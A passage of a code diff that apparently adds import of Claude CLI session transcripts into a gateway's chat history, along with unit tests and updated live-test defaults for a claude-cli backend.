...(output !== undefined ? { output } : {}),
|
||||
...(cacheRead !== undefined ? { cacheRead } : {}),
|
||||
...(cacheWrite !== undefined ? { cacheWrite } : {}),
|
||||
};
|
||||
}
|
||||
|
||||
function cloneJsonValue<T>(value: T): T {
|
||||
return JSON.parse(JSON.stringify(value)) as T;
|
||||
}
|
||||
|
||||
function normalizeClaudeCliContent(
|
||||
content: string | unknown[],
|
||||
toolNameRegistry: ToolNameRegistry,
|
||||
): string | unknown[] {
|
||||
if (!Array.isArray(content)) {
|
||||
return cloneJsonValue(content);
|
||||
}
|
||||
|
||||
const normalized: ToolContentBlock[] = [];
|
||||
for (const item of content) {
|
||||
if (!item || typeof item !== "object") {
|
||||
normalized.push(cloneJsonValue(item as ToolContentBlock));
|
||||
continue;
|
||||
}
|
||||
const block = cloneJsonValue(item as ToolContentBlock);
|
||||
const type = typeof block.type === "string" ? block.type : "";
|
||||
if (type === "tool_use") {
|
||||
const id = typeof block.id === "string" ? block.id.trim() : "";
|
||||
const name = typeof block.name === "string" ? block.name.trim() : "";
|
||||
if (id && name) {
|
||||
toolNameRegistry.set(id, name);
|
||||
}
|
||||
if (block.input !== undefined && block.arguments === undefined) {
|
||||
block.arguments = cloneJsonValue(block.input);
|
||||
}
|
||||
block.type = "toolcall";
|
||||
delete block.input;
|
||||
normalized.push(block);
|
||||
continue;
|
||||
}
|
||||
if (type === "tool_result") {
|
||||
const toolUseId = resolveToolUseId(block);
|
||||
if (!block.name && toolUseId) {
|
||||
const toolName = toolNameRegistry.get(toolUseId);
|
||||
if (toolName) {
|
||||
block.name = toolName;
|
||||
}
|
||||
}
|
||||
normalized.push(block);
|
||||
continue;
|
||||
}
|
||||
normalized.push(block);
|
||||
}
|
||||
return normalized;
|
||||
}
|
||||
|
||||
function getMessageBlocks(message: unknown): ToolContentBlock[] | null {
|
||||
if (!message || typeof message !== "object") {
|
||||
return null;
|
||||
}
|
||||
const content = (message as { content?: unknown }).content;
|
||||
return Array.isArray(content) ? (content as ToolContentBlock[]) : null;
|
||||
}
|
||||
|
||||
function isAssistantToolCallMessage(message: unknown): boolean {
|
||||
if (!message || typeof message !== "object") {
|
||||
return false;
|
||||
}
|
||||
const role = (message as { role?: unknown }).role;
|
||||
if (role !== "assistant") {
|
||||
return false;
|
||||
}
|
||||
const blocks = getMessageBlocks(message);
|
||||
return Boolean(blocks && blocks.length > 0 && blocks.every(isToolCallBlock));
|
||||
}
|
||||
|
||||
function isUserToolResultMessage(message: unknown): boolean {
|
||||
if (!message || typeof message !== "object") {
|
||||
return false;
|
||||
}
|
||||
const role = (message as { role?: unknown }).role;
|
||||
if (role !== "user") {
|
||||
return false;
|
||||
}
|
||||
const blocks = getMessageBlocks(message);
|
||||
return Boolean(blocks && blocks.length > 0 && blocks.every(isToolResultBlock));
|
||||
}
|
||||
|
||||
function coalesceClaudeCliToolMessages(messages: TranscriptLikeMessage[]): TranscriptLikeMessage[] {
|
||||
const coalesced: TranscriptLikeMessage[] = [];
|
||||
for (let index = 0; index < messages.length; index += 1) {
|
||||
const current = messages[index];
|
||||
const next = messages[index + 1];
|
||||
if (!isAssistantToolCallMessage(current) || !isUserToolResultMessage(next)) {
|
||||
coalesced.push(current);
|
||||
continue;
|
||||
}
|
||||
|
||||
const callBlocks = getMessageBlocks(current) ?? [];
|
||||
const resultBlocks = getMessageBlocks(next) ?? [];
|
||||
const callIds = new Set(
|
||||
callBlocks.map(resolveToolUseId).filter((id): id is string => Boolean(id)),
|
||||
);
|
||||
const allResultsMatch =
|
||||
resultBlocks.length > 0 &&
|
||||
resultBlocks.every((block) => {
|
||||
const toolUseId = resolveToolUseId(block);
|
||||
return Boolean(toolUseId && callIds.has(toolUseId));
|
||||
});
|
||||
if (!allResultsMatch) {
|
||||
coalesced.push(current);
|
||||
continue;
|
||||
}
|
||||
|
||||
coalesced.push({
|
||||
...current,
|
||||
content: [...callBlocks.map(cloneJsonValue), ...resultBlocks.map(cloneJsonValue)],
|
||||
});
|
||||
index += 1;
|
||||
}
|
||||
return coalesced;
|
||||
}
|
||||
|
||||
function parseClaudeCliHistoryEntry(
|
||||
entry: ClaudeCliProjectEntry,
|
||||
cliSessionId: string,
|
||||
toolNameRegistry: ToolNameRegistry,
|
||||
): TranscriptLikeMessage | null {
|
||||
if (entry.isSidechain === true || !entry.message || typeof entry.message !== "object") {
|
||||
return null;
|
||||
}
|
||||
const type = typeof entry.type === "string" ? entry.type : undefined;
|
||||
const role = typeof entry.message.role === "string" ? entry.message.role : undefined;
|
||||
if ((type !== "user" && type !== "assistant") || role !== type) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const timestamp = resolveTimestampMs(entry.timestamp);
|
||||
const baseMeta = {
|
||||
importedFrom: CLAUDE_CLI_PROVIDER,
|
||||
cliSessionId,
|
||||
...(typeof entry.uuid === "string" && entry.uuid.trim() ? { externalId: entry.uuid } : {}),
|
||||
};
|
||||
|
||||
const content =
|
||||
typeof entry.message.content === "string" || Array.isArray(entry.message.content)
|
||||
? normalizeClaudeCliContent(entry.message.content, toolNameRegistry)
|
||||
: undefined;
|
||||
if (content === undefined) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (type === "user") {
|
||||
return attachOpenClawTranscriptMeta(
|
||||
{
|
||||
role: "user",
|
||||
content,
|
||||
...(timestamp !== undefined ? { timestamp } : {}),
|
||||
},
|
||||
baseMeta,
|
||||
) as TranscriptLikeMessage;
|
||||
}
|
||||
|
||||
return attachOpenClawTranscriptMeta(
|
||||
{
|
||||
role: "assistant",
|
||||
content,
|
||||
api: "anthropic-messages",
|
||||
provider: CLAUDE_CLI_PROVIDER,
|
||||
...(typeof entry.message.model === "string" && entry.message.model.trim()
|
||||
? { model: entry.message.model }
|
||||
: {}),
|
||||
...(typeof entry.message.stop_reason === "string" && entry.message.stop_reason.trim()
|
||||
? { stopReason: entry.message.stop_reason }
|
||||
: {}),
|
||||
...(resolveClaudeCliUsage(entry.message.usage)
|
||||
? { usage: resolveClaudeCliUsage(entry.message.usage) }
|
||||
: {}),
|
||||
...(timestamp !== undefined ? { timestamp } : {}),
|
||||
},
|
||||
baseMeta,
|
||||
) as TranscriptLikeMessage;
|
||||
}
|
||||
|
||||
export function resolveClaudeCliSessionFilePath(params: {
|
||||
cliSessionId: string;
|
||||
homeDir?: string;
|
||||
}): string | undefined {
|
||||
const projectsDir = resolveClaudeProjectsDir(params.homeDir);
|
||||
let projectEntries: fs.Dirent[];
|
||||
try {
|
||||
projectEntries = fs.readdirSync(projectsDir, { withFileTypes: true });
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
|
||||
for (const entry of projectEntries) {
|
||||
if (!entry.isDirectory()) {
|
||||
continue;
|
||||
}
|
||||
const candidate = path.join(projectsDir, entry.name, `${params.cliSessionId}.jsonl`);
|
||||
if (fs.existsSync(candidate)) {
|
||||
return candidate;
|
||||
}
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
|
||||
export function readClaudeCliSessionMessages(params: {
|
||||
cliSessionId: string;
|
||||
homeDir?: string;
|
||||
}): TranscriptLikeMessage[] {
|
||||
const filePath = resolveClaudeCliSessionFilePath(params);
|
||||
if (!filePath) {
|
||||
return [];
|
||||
}
|
||||
|
||||
let content: string;
|
||||
try {
|
||||
content = fs.readFileSync(filePath, "utf-8");
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
|
||||
const messages: TranscriptLikeMessage[] = [];
|
||||
const toolNameRegistry: ToolNameRegistry = new Map();
|
||||
for (const line of content.split(/\r?\n/)) {
|
||||
if (!line.trim()) {
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
const parsed = JSON.parse(line) as ClaudeCliProjectEntry;
|
||||
const message = parseClaudeCliHistoryEntry(parsed, params.cliSessionId, toolNameRegistry);
|
||||
if (message) {
|
||||
messages.push(message);
|
||||
}
|
||||
} catch {
|
||||
// Ignore malformed external history entries.
|
||||
}
|
||||
}
|
||||
return coalesceClaudeCliToolMessages(messages);
|
||||
}
|
||||
299
src/gateway/cli-session-history.test.ts
Normal file
299
src/gateway/cli-session-history.test.ts
Normal file
@@ -0,0 +1,299 @@
|
||||
import fs from "node:fs/promises";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
import {
|
||||
augmentChatHistoryWithCliSessionImports,
|
||||
mergeImportedChatHistoryMessages,
|
||||
readClaudeCliSessionMessages,
|
||||
resolveClaudeCliSessionFilePath,
|
||||
} from "./cli-session-history.js";
|
||||
|
||||
const ORIGINAL_HOME = process.env.HOME;
|
||||
|
||||
function createClaudeHistoryLines(sessionId: string) {
|
||||
return [
|
||||
JSON.stringify({
|
||||
type: "queue-operation",
|
||||
operation: "enqueue",
|
||||
timestamp: "2026-03-26T16:29:54.722Z",
|
||||
sessionId,
|
||||
content: "[Thu 2026-03-26 16:29 GMT] Reply with exactly: AGENT CLI OK.",
|
||||
}),
|
||||
JSON.stringify({
|
||||
type: "user",
|
||||
uuid: "user-1",
|
||||
timestamp: "2026-03-26T16:29:54.800Z",
|
||||
message: {
|
||||
role: "user",
|
||||
content:
|
||||
'Sender (untrusted metadata):\n```json\n{"label":"openclaw-control-ui"}\n```\n\n[Thu 2026-03-26 16:29 GMT] hi',
|
||||
},
|
||||
}),
|
||||
JSON.stringify({
|
||||
type: "assistant",
|
||||
uuid: "assistant-1",
|
||||
timestamp: "2026-03-26T16:29:55.500Z",
|
||||
message: {
|
||||
role: "assistant",
|
||||
model: "claude-sonnet-4-6",
|
||||
content: [{ type: "text", text: "hello from Claude" }],
|
||||
stop_reason: "end_turn",
|
||||
usage: {
|
||||
input_tokens: 11,
|
||||
output_tokens: 7,
|
||||
cache_read_input_tokens: 22,
|
||||
},
|
||||
},
|
||||
}),
|
||||
JSON.stringify({
|
||||
type: "assistant",
|
||||
uuid: "assistant-2",
|
||||
timestamp: "2026-03-26T16:29:56.000Z",
|
||||
message: {
|
||||
role: "assistant",
|
||||
model: "claude-sonnet-4-6",
|
||||
content: [
|
||||
{
|
||||
type: "tool_use",
|
||||
id: "toolu_123",
|
||||
name: "Bash",
|
||||
input: {
|
||||
command: "pwd",
|
||||
},
|
||||
},
|
||||
],
|
||||
stop_reason: "tool_use",
|
||||
},
|
||||
}),
|
||||
JSON.stringify({
|
||||
type: "user",
|
||||
uuid: "user-2",
|
||||
timestamp: "2026-03-26T16:29:56.400Z",
|
||||
message: {
|
||||
role: "user",
|
||||
content: [
|
||||
{
|
||||
type: "tool_result",
|
||||
tool_use_id: "toolu_123",
|
||||
content: "/tmp/demo",
|
||||
},
|
||||
],
|
||||
},
|
||||
}),
|
||||
JSON.stringify({
|
||||
type: "last-prompt",
|
||||
sessionId,
|
||||
lastPrompt: "ignored",
|
||||
}),
|
||||
].join("\n");
|
||||
}
|
||||
|
||||
async function withClaudeProjectsDir<T>(
|
||||
run: (params: { homeDir: string; sessionId: string; filePath: string }) => Promise<T>,
|
||||
): Promise<T> {
|
||||
const root = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-claude-history-"));
|
||||
const homeDir = path.join(root, "home");
|
||||
const sessionId = "5b8b202c-f6bb-4046-9475-d2f15fd07530";
|
||||
const projectsDir = path.join(homeDir, ".claude", "projects", "demo-workspace");
|
||||
const filePath = path.join(projectsDir, `${sessionId}.jsonl`);
|
||||
await fs.mkdir(projectsDir, { recursive: true });
|
||||
await fs.writeFile(filePath, createClaudeHistoryLines(sessionId), "utf-8");
|
||||
process.env.HOME = homeDir;
|
||||
try {
|
||||
return await run({ homeDir, sessionId, filePath });
|
||||
} finally {
|
||||
if (ORIGINAL_HOME === undefined) {
|
||||
delete process.env.HOME;
|
||||
} else {
|
||||
process.env.HOME = ORIGINAL_HOME;
|
||||
}
|
||||
await fs.rm(root, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
describe("cli session history", () => {
|
||||
afterEach(() => {
|
||||
if (ORIGINAL_HOME === undefined) {
|
||||
delete process.env.HOME;
|
||||
} else {
|
||||
process.env.HOME = ORIGINAL_HOME;
|
||||
}
|
||||
});
|
||||
|
||||
it("reads claude-cli session messages from the Claude projects store", async () => {
|
||||
await withClaudeProjectsDir(async ({ homeDir, sessionId, filePath }) => {
|
||||
expect(resolveClaudeCliSessionFilePath({ cliSessionId: sessionId, homeDir })).toBe(filePath);
|
||||
const messages = readClaudeCliSessionMessages({ cliSessionId: sessionId, homeDir });
|
||||
expect(messages).toHaveLength(3);
|
||||
expect(messages[0]).toMatchObject({
|
||||
role: "user",
|
||||
content: expect.stringContaining("[Thu 2026-03-26 16:29 GMT] hi"),
|
||||
__openclaw: {
|
||||
importedFrom: "claude-cli",
|
||||
externalId: "user-1",
|
||||
cliSessionId: sessionId,
|
||||
},
|
||||
});
|
||||
expect(messages[1]).toMatchObject({
|
||||
role: "assistant",
|
||||
provider: "claude-cli",
|
||||
model: "claude-sonnet-4-6",
|
||||
stopReason: "end_turn",
|
||||
usage: {
|
||||
input: 11,
|
||||
output: 7,
|
||||
cacheRead: 22,
|
||||
},
|
||||
__openclaw: {
|
||||
importedFrom: "claude-cli",
|
||||
externalId: "assistant-1",
|
||||
cliSessionId: sessionId,
|
||||
},
|
||||
});
|
||||
expect(messages[2]).toMatchObject({
|
||||
role: "assistant",
|
||||
content: [
|
||||
{
|
||||
type: "toolcall",
|
||||
id: "toolu_123",
|
||||
name: "Bash",
|
||||
arguments: {
|
||||
command: "pwd",
|
||||
},
|
||||
},
|
||||
{
|
||||
type: "tool_result",
|
||||
name: "Bash",
|
||||
content: "/tmp/demo",
|
||||
tool_use_id: "toolu_123",
|
||||
},
|
||||
],
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
it("deduplicates imported messages against similar local transcript entries", () => {
|
||||
const localMessages = [
|
||||
{
|
||||
role: "user",
|
||||
content: "hi",
|
||||
timestamp: Date.parse("2026-03-26T16:29:54.900Z"),
|
||||
},
|
||||
{
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text: "hello from Claude" }],
|
||||
timestamp: Date.parse("2026-03-26T16:29:55.700Z"),
|
||||
},
|
||||
];
|
||||
const importedMessages = [
|
||||
{
|
||||
role: "user",
|
||||
content:
|
||||
'Sender (untrusted metadata):\n```json\n{"label":"openclaw-control-ui"}\n```\n\n[Thu 2026-03-26 16:29 GMT] hi',
|
||||
timestamp: Date.parse("2026-03-26T16:29:54.800Z"),
|
||||
__openclaw: {
|
||||
importedFrom: "claude-cli",
|
||||
externalId: "user-1",
|
||||
cliSessionId: "session-1",
|
||||
},
|
||||
},
|
||||
{
|
||||
role: "assistant",
|
||||
content: [{ type: "text", text: "hello from Claude" }],
|
||||
timestamp: Date.parse("2026-03-26T16:29:55.500Z"),
|
||||
__openclaw: {
|
||||
importedFrom: "claude-cli",
|
||||
externalId: "assistant-1",
|
||||
cliSessionId: "session-1",
|
||||
},
|
||||
},
|
||||
{
|
||||
role: "user",
|
||||
content: "[Thu 2026-03-26 16:31 GMT] follow-up",
|
||||
timestamp: Date.parse("2026-03-26T16:31:00.000Z"),
|
||||
__openclaw: {
|
||||
importedFrom: "claude-cli",
|
||||
externalId: "user-2",
|
||||
cliSessionId: "session-1",
|
||||
},
|
||||
},
|
||||
];
|
||||
|
||||
const merged = mergeImportedChatHistoryMessages({ localMessages, importedMessages });
|
||||
expect(merged).toHaveLength(3);
|
||||
expect(merged[2]).toMatchObject({
|
||||
role: "user",
|
||||
__openclaw: {
|
||||
importedFrom: "claude-cli",
|
||||
externalId: "user-2",
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it("augments chat history when a session has a claude-cli binding", async () => {
|
||||
await withClaudeProjectsDir(async ({ homeDir, sessionId }) => {
|
||||
const messages = augmentChatHistoryWithCliSessionImports({
|
||||
entry: {
|
||||
sessionId: "openclaw-session",
|
||||
updatedAt: Date.now(),
|
||||
cliSessionBindings: {
|
||||
"claude-cli": {
|
||||
sessionId,
|
||||
},
|
||||
},
|
||||
},
|
||||
provider: "claude-cli",
|
||||
localMessages: [],
|
||||
homeDir,
|
||||
});
|
||||
expect(messages).toHaveLength(3);
|
||||
expect(messages[0]).toMatchObject({
|
||||
role: "user",
|
||||
__openclaw: { cliSessionId: sessionId },
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
it("falls back to legacy cliSessionIds when bindings are absent", async () => {
|
||||
await withClaudeProjectsDir(async ({ homeDir, sessionId }) => {
|
||||
const messages = augmentChatHistoryWithCliSessionImports({
|
||||
entry: {
|
||||
sessionId: "openclaw-session",
|
||||
updatedAt: Date.now(),
|
||||
cliSessionIds: {
|
||||
"claude-cli": sessionId,
|
||||
},
|
||||
},
|
||||
provider: "claude-cli",
|
||||
localMessages: [],
|
||||
homeDir,
|
||||
});
|
||||
expect(messages).toHaveLength(3);
|
||||
expect(messages[1]).toMatchObject({
|
||||
role: "assistant",
|
||||
__openclaw: { cliSessionId: sessionId },
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
it("falls back to legacy claudeCliSessionId when newer fields are absent", async () => {
|
||||
await withClaudeProjectsDir(async ({ homeDir, sessionId }) => {
|
||||
const messages = augmentChatHistoryWithCliSessionImports({
|
||||
entry: {
|
||||
sessionId: "openclaw-session",
|
||||
updatedAt: Date.now(),
|
||||
claudeCliSessionId: sessionId,
|
||||
},
|
||||
provider: "claude-cli",
|
||||
localMessages: [],
|
||||
homeDir,
|
||||
});
|
||||
expect(messages).toHaveLength(3);
|
||||
expect(messages[0]).toMatchObject({
|
||||
role: "user",
|
||||
__openclaw: { cliSessionId: sessionId },
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -1,7 +1,18 @@
|
||||
import { normalizeProviderId } from "../agents/model-selection.js";
|
||||
import type { SessionEntry } from "../config/sessions.js";
|
||||
import {
|
||||
CLAUDE_CLI_PROVIDER,
|
||||
readClaudeCliSessionMessages,
|
||||
resolveClaudeCliBindingSessionId,
|
||||
resolveClaudeCliSessionFilePath,
|
||||
} from "./cli-session-history.claude.js";
|
||||
import { mergeImportedChatHistoryMessages } from "./cli-session-history.merge.js";
|
||||
|
||||
export { mergeImportedChatHistoryMessages };
|
||||
export {
|
||||
mergeImportedChatHistoryMessages,
|
||||
readClaudeCliSessionMessages,
|
||||
resolveClaudeCliSessionFilePath,
|
||||
};
|
||||
|
||||
export function augmentChatHistoryWithCliSessionImports(params: {
|
||||
entry: SessionEntry | undefined;
|
||||
@@ -9,8 +20,26 @@ export function augmentChatHistoryWithCliSessionImports(params: {
|
||||
localMessages: unknown[];
|
||||
homeDir?: string;
|
||||
}): unknown[] {
|
||||
void params.entry;
|
||||
void params.provider;
|
||||
void params.homeDir;
|
||||
return params.localMessages;
|
||||
const cliSessionId = resolveClaudeCliBindingSessionId(params.entry);
|
||||
if (!cliSessionId) {
|
||||
return params.localMessages;
|
||||
}
|
||||
|
||||
const normalizedProvider = normalizeProviderId(params.provider ?? "");
|
||||
if (
|
||||
normalizedProvider &&
|
||||
normalizedProvider !== CLAUDE_CLI_PROVIDER &&
|
||||
params.localMessages.length > 0
|
||||
) {
|
||||
return params.localMessages;
|
||||
}
|
||||
|
||||
const importedMessages = readClaudeCliSessionMessages({
|
||||
cliSessionId,
|
||||
homeDir: params.homeDir,
|
||||
});
|
||||
return mergeImportedChatHistoryMessages({
|
||||
localMessages: params.localMessages,
|
||||
importedMessages,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -21,10 +21,21 @@ const CLI_IMAGE = isTruthyEnvValue(process.env.OPENCLAW_LIVE_CLI_BACKEND_IMAGE_P
|
||||
const CLI_RESUME = isTruthyEnvValue(process.env.OPENCLAW_LIVE_CLI_BACKEND_RESUME_PROBE);
|
||||
const describeLive = LIVE && CLI_LIVE ? describe : describe.skip;
|
||||
|
||||
const DEFAULT_MODEL = "codex-cli/gpt-5.4";
|
||||
const DEFAULT_MODEL = "claude-cli/claude-sonnet-4-6";
|
||||
const BOOTSTRAP_LIVE_MODEL = process.env.OPENCLAW_LIVE_CLI_BACKEND_MODEL ?? DEFAULT_MODEL;
|
||||
const describeBootstrapLive =
|
||||
LIVE && CLI_LIVE && BOOTSTRAP_LIVE_MODEL.startsWith("codex-cli/") ? describe : describe.skip;
|
||||
const describeClaudeBootstrapLive =
|
||||
LIVE && CLI_LIVE && BOOTSTRAP_LIVE_MODEL.startsWith("claude-cli/") ? describe : describe.skip;
|
||||
const DEFAULT_CLAUDE_ARGS = [
|
||||
"-p",
|
||||
"--output-format",
|
||||
"stream-json",
|
||||
"--include-partial-messages",
|
||||
"--verbose",
|
||||
"--setting-sources",
|
||||
"user",
|
||||
"--permission-mode",
|
||||
"bypassPermissions",
|
||||
];
|
||||
const DEFAULT_CODEX_ARGS = [
|
||||
"exec",
|
||||
"--json",
|
||||
@@ -34,6 +45,28 @@ const DEFAULT_CODEX_ARGS = [
|
||||
"read-only",
|
||||
"--skip-git-repo-check",
|
||||
];
|
||||
const DEFAULT_CLEAR_ENV = [
|
||||
"ANTHROPIC_API_KEY",
|
||||
"ANTHROPIC_API_KEY_OLD",
|
||||
"ANTHROPIC_AUTH_TOKEN",
|
||||
"ANTHROPIC_BASE_URL",
|
||||
"ANTHROPIC_UNIX_SOCKET",
|
||||
"CLAUDE_CONFIG_DIR",
|
||||
"CLAUDE_CODE_API_KEY_FILE_DESCRIPTOR",
|
||||
"CLAUDE_CODE_ENTRYPOINT",
|
||||
"CLAUDE_CODE_OAUTH_REFRESH_TOKEN",
|
||||
"CLAUDE_CODE_OAUTH_SCOPES",
|
||||
"CLAUDE_CODE_OAUTH_TOKEN",
|
||||
"CLAUDE_CODE_OAUTH_TOKEN_FILE_DESCRIPTOR",
|
||||
"CLAUDE_CODE_PLUGIN_CACHE_DIR",
|
||||
"CLAUDE_CODE_PLUGIN_SEED_DIR",
|
||||
"CLAUDE_CODE_REMOTE",
|
||||
"CLAUDE_CODE_USE_COWORK_PLUGINS",
|
||||
"CLAUDE_CODE_USE_BEDROCK",
|
||||
"CLAUDE_CODE_USE_FOUNDRY",
|
||||
"CLAUDE_CODE_USE_VERTEX",
|
||||
];
|
||||
|
||||
function randomImageProbeCode(len = 6): string {
|
||||
// Chosen to avoid common OCR confusions in our 5x7 bitmap font.
|
||||
// Notably: 0↔8, B↔8, 6↔9, 3↔B, D↔0.
|
||||
@@ -103,6 +136,17 @@ function parseImageMode(raw?: string): "list" | "repeat" | undefined {
|
||||
throw new Error("OPENCLAW_LIVE_CLI_BACKEND_IMAGE_MODE must be 'list' or 'repeat'.");
|
||||
}
|
||||
|
||||
function withMcpConfigOverrides(args: string[], mcpConfigPath: string): string[] {
|
||||
const next = [...args];
|
||||
if (!next.includes("--strict-mcp-config")) {
|
||||
next.push("--strict-mcp-config");
|
||||
}
|
||||
if (!next.includes("--mcp-config")) {
|
||||
next.push("--mcp-config", mcpConfigPath);
|
||||
}
|
||||
return next;
|
||||
}
|
||||
|
||||
async function getFreeGatewayPort(): Promise<number> {
|
||||
return await getFreePortBlockWithPermissionFallback({
|
||||
offsets: [0, 1, 2, 4],
|
||||
@@ -248,7 +292,7 @@ describeLive("gateway live (cli backend)", () => {
|
||||
process.env.OPENCLAW_GATEWAY_TOKEN = token;
|
||||
|
||||
const rawModel = process.env.OPENCLAW_LIVE_CLI_BACKEND_MODEL ?? DEFAULT_MODEL;
|
||||
const parsed = parseModelRef(rawModel, "codex-cli");
|
||||
const parsed = parseModelRef(rawModel, "claude-cli");
|
||||
if (!parsed) {
|
||||
throw new Error(
|
||||
`OPENCLAW_LIVE_CLI_BACKEND_MODEL must resolve to a CLI backend model. Got: ${rawModel}`,
|
||||
@@ -258,7 +302,11 @@ describeLive("gateway live (cli backend)", () => {
|
||||
const modelKey = `${providerId}/${parsed.model}`;
|
||||
|
||||
const providerDefaults =
|
||||
providerId === "codex-cli" ? { command: "codex", args: DEFAULT_CODEX_ARGS } : null;
|
||||
providerId === "claude-cli"
|
||||
? { command: "claude", args: DEFAULT_CLAUDE_ARGS }
|
||||
: providerId === "codex-cli"
|
||||
? { command: "codex", args: DEFAULT_CODEX_ARGS }
|
||||
: null;
|
||||
|
||||
const cliCommand = process.env.OPENCLAW_LIVE_CLI_BACKEND_COMMAND ?? providerDefaults?.command;
|
||||
if (!cliCommand) {
|
||||
@@ -278,7 +326,7 @@ describeLive("gateway live (cli backend)", () => {
|
||||
parseJsonStringArray(
|
||||
"OPENCLAW_LIVE_CLI_BACKEND_CLEAR_ENV",
|
||||
process.env.OPENCLAW_LIVE_CLI_BACKEND_CLEAR_ENV,
|
||||
) ?? [];
|
||||
) ?? (providerId === "claude-cli" ? DEFAULT_CLEAR_ENV : []);
|
||||
const filteredCliClearEnv = cliClearEnv.filter((name) => !preservedEnv.has(name));
|
||||
const preservedCliEnv = Object.fromEntries(
|
||||
[...preservedEnv]
|
||||
@@ -295,7 +343,13 @@ describeLive("gateway live (cli backend)", () => {
|
||||
}
|
||||
|
||||
const tempDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-live-cli-"));
|
||||
const cliArgs = baseCliArgs;
|
||||
const disableMcpConfig = process.env.OPENCLAW_LIVE_CLI_BACKEND_DISABLE_MCP_CONFIG !== "0";
|
||||
let cliArgs = baseCliArgs;
|
||||
if (providerId === "claude-cli" && disableMcpConfig) {
|
||||
const mcpConfigPath = path.join(tempDir, "claude-mcp.json");
|
||||
await fs.writeFile(mcpConfigPath, `${JSON.stringify({ mcpServers: {} }, null, 2)}\n`);
|
||||
cliArgs = withMcpConfigOverrides(baseCliArgs, mcpConfigPath);
|
||||
}
|
||||
|
||||
const cfg = loadConfig();
|
||||
const cfgWithCliBackends = cfg as OpenClawConfig & {
|
||||
@@ -496,8 +550,8 @@ describeLive("gateway live (cli backend)", () => {
|
||||
}, 60_000);
|
||||
});
|
||||
|
||||
describeBootstrapLive("gateway live (cli backend bootstrap context)", () => {
|
||||
it("injects AGENTS, SOUL, IDENTITY, and USER files into the first CLI turn", async () => {
|
||||
describeClaudeBootstrapLive("gateway live (claude-cli bootstrap context)", () => {
|
||||
it("injects AGENTS, SOUL, IDENTITY, and USER files into the first Claude CLI turn", async () => {
|
||||
const result = await runGatewayCliBootstrapLiveProbe();
|
||||
expect(result.ok).toBe(true);
|
||||
expect(result.text).toBe(result.expectedText);
|
||||
|
||||
@@ -39,12 +39,12 @@ describe("resolveOpenAiCompatModelOverride", () => {
|
||||
it("rejects CLI model overrides outside the configured allowlist", async () => {
|
||||
await expect(
|
||||
resolveOpenAiCompatModelOverride({
|
||||
req: createReq({ "x-openclaw-model": "codex-cli/gpt-5.4" }),
|
||||
req: createReq({ "x-openclaw-model": "claude-cli/opus" }),
|
||||
agentId: "main",
|
||||
model: "openclaw",
|
||||
}),
|
||||
).resolves.toEqual({
|
||||
errorMessage: "Model 'codex-cli/gpt-5.4' is not allowed for agent 'main'.",
|
||||
errorMessage: "Model 'claude-cli/opus' is not allowed for agent 'main'.",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -206,6 +206,27 @@ async function runMainAgent(message: string, idempotencyKey: string) {
|
||||
return respond;
|
||||
}
|
||||
|
||||
async function runMainAgentAndCaptureEntry(idempotencyKey: string) {
|
||||
const loaded = mocks.loadSessionEntry();
|
||||
const canonicalKey = loaded?.canonicalKey ?? "agent:main:main";
|
||||
const existingEntry = structuredClone(loaded?.entry ?? buildExistingMainStoreEntry());
|
||||
let capturedEntry: Record<string, unknown> | undefined;
|
||||
mocks.updateSessionStore.mockImplementation(async (_path, updater) => {
|
||||
const store: Record<string, unknown> = {
|
||||
[canonicalKey]: existingEntry,
|
||||
};
|
||||
const result = await updater(store);
|
||||
capturedEntry = result as Record<string, unknown>;
|
||||
return result;
|
||||
});
|
||||
mocks.agentCommand.mockResolvedValue({
|
||||
payloads: [{ text: "ok" }],
|
||||
meta: { durationMs: 100 },
|
||||
});
|
||||
await runMainAgent("hi", idempotencyKey);
|
||||
return capturedEntry;
|
||||
}
|
||||
|
||||
function readLastAgentCommandCall():
|
||||
| {
|
||||
message?: string;
|
||||
@@ -431,6 +452,20 @@ describe("gateway agent handler", () => {
|
||||
);
|
||||
});
|
||||
|
||||
it("preserves cliSessionIds from existing session entry", async () => {
|
||||
const existingCliSessionIds = { "claude-cli": "abc-123-def" };
|
||||
const existingClaudeCliSessionId = "abc-123-def";
|
||||
|
||||
mockMainSessionEntry({
|
||||
cliSessionIds: existingCliSessionIds,
|
||||
claudeCliSessionId: existingClaudeCliSessionId,
|
||||
});
|
||||
|
||||
const capturedEntry = await runMainAgentAndCaptureEntry("test-idem");
|
||||
expect(capturedEntry).toBeDefined();
|
||||
expect(capturedEntry?.cliSessionIds).toEqual(existingCliSessionIds);
|
||||
expect(capturedEntry?.claudeCliSessionId).toBe(existingClaudeCliSessionId);
|
||||
});
|
||||
it("reactivates completed subagent sessions and broadcasts send updates", async () => {
|
||||
const childSessionKey = "agent:main:subagent:followup";
|
||||
const completedRun = {
|
||||
@@ -939,6 +974,15 @@ describe("gateway agent handler", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("handles missing cliSessionIds gracefully", async () => {
|
||||
mockMainSessionEntry({});
|
||||
|
||||
const capturedEntry = await runMainAgentAndCaptureEntry("test-idem-2");
|
||||
expect(capturedEntry).toBeDefined();
|
||||
// Should be undefined, not cause an error
|
||||
expect(capturedEntry?.cliSessionIds).toBeUndefined();
|
||||
expect(capturedEntry?.claudeCliSessionId).toBeUndefined();
|
||||
});
|
||||
it("prunes legacy main alias keys when writing a canonical session entry", async () => {
|
||||
mocks.loadSessionEntry.mockReturnValue({
|
||||
cfg: {
|
||||
|
||||
@@ -116,6 +116,86 @@ async function prepareMainHistoryHarness(params: {
|
||||
}
|
||||
|
||||
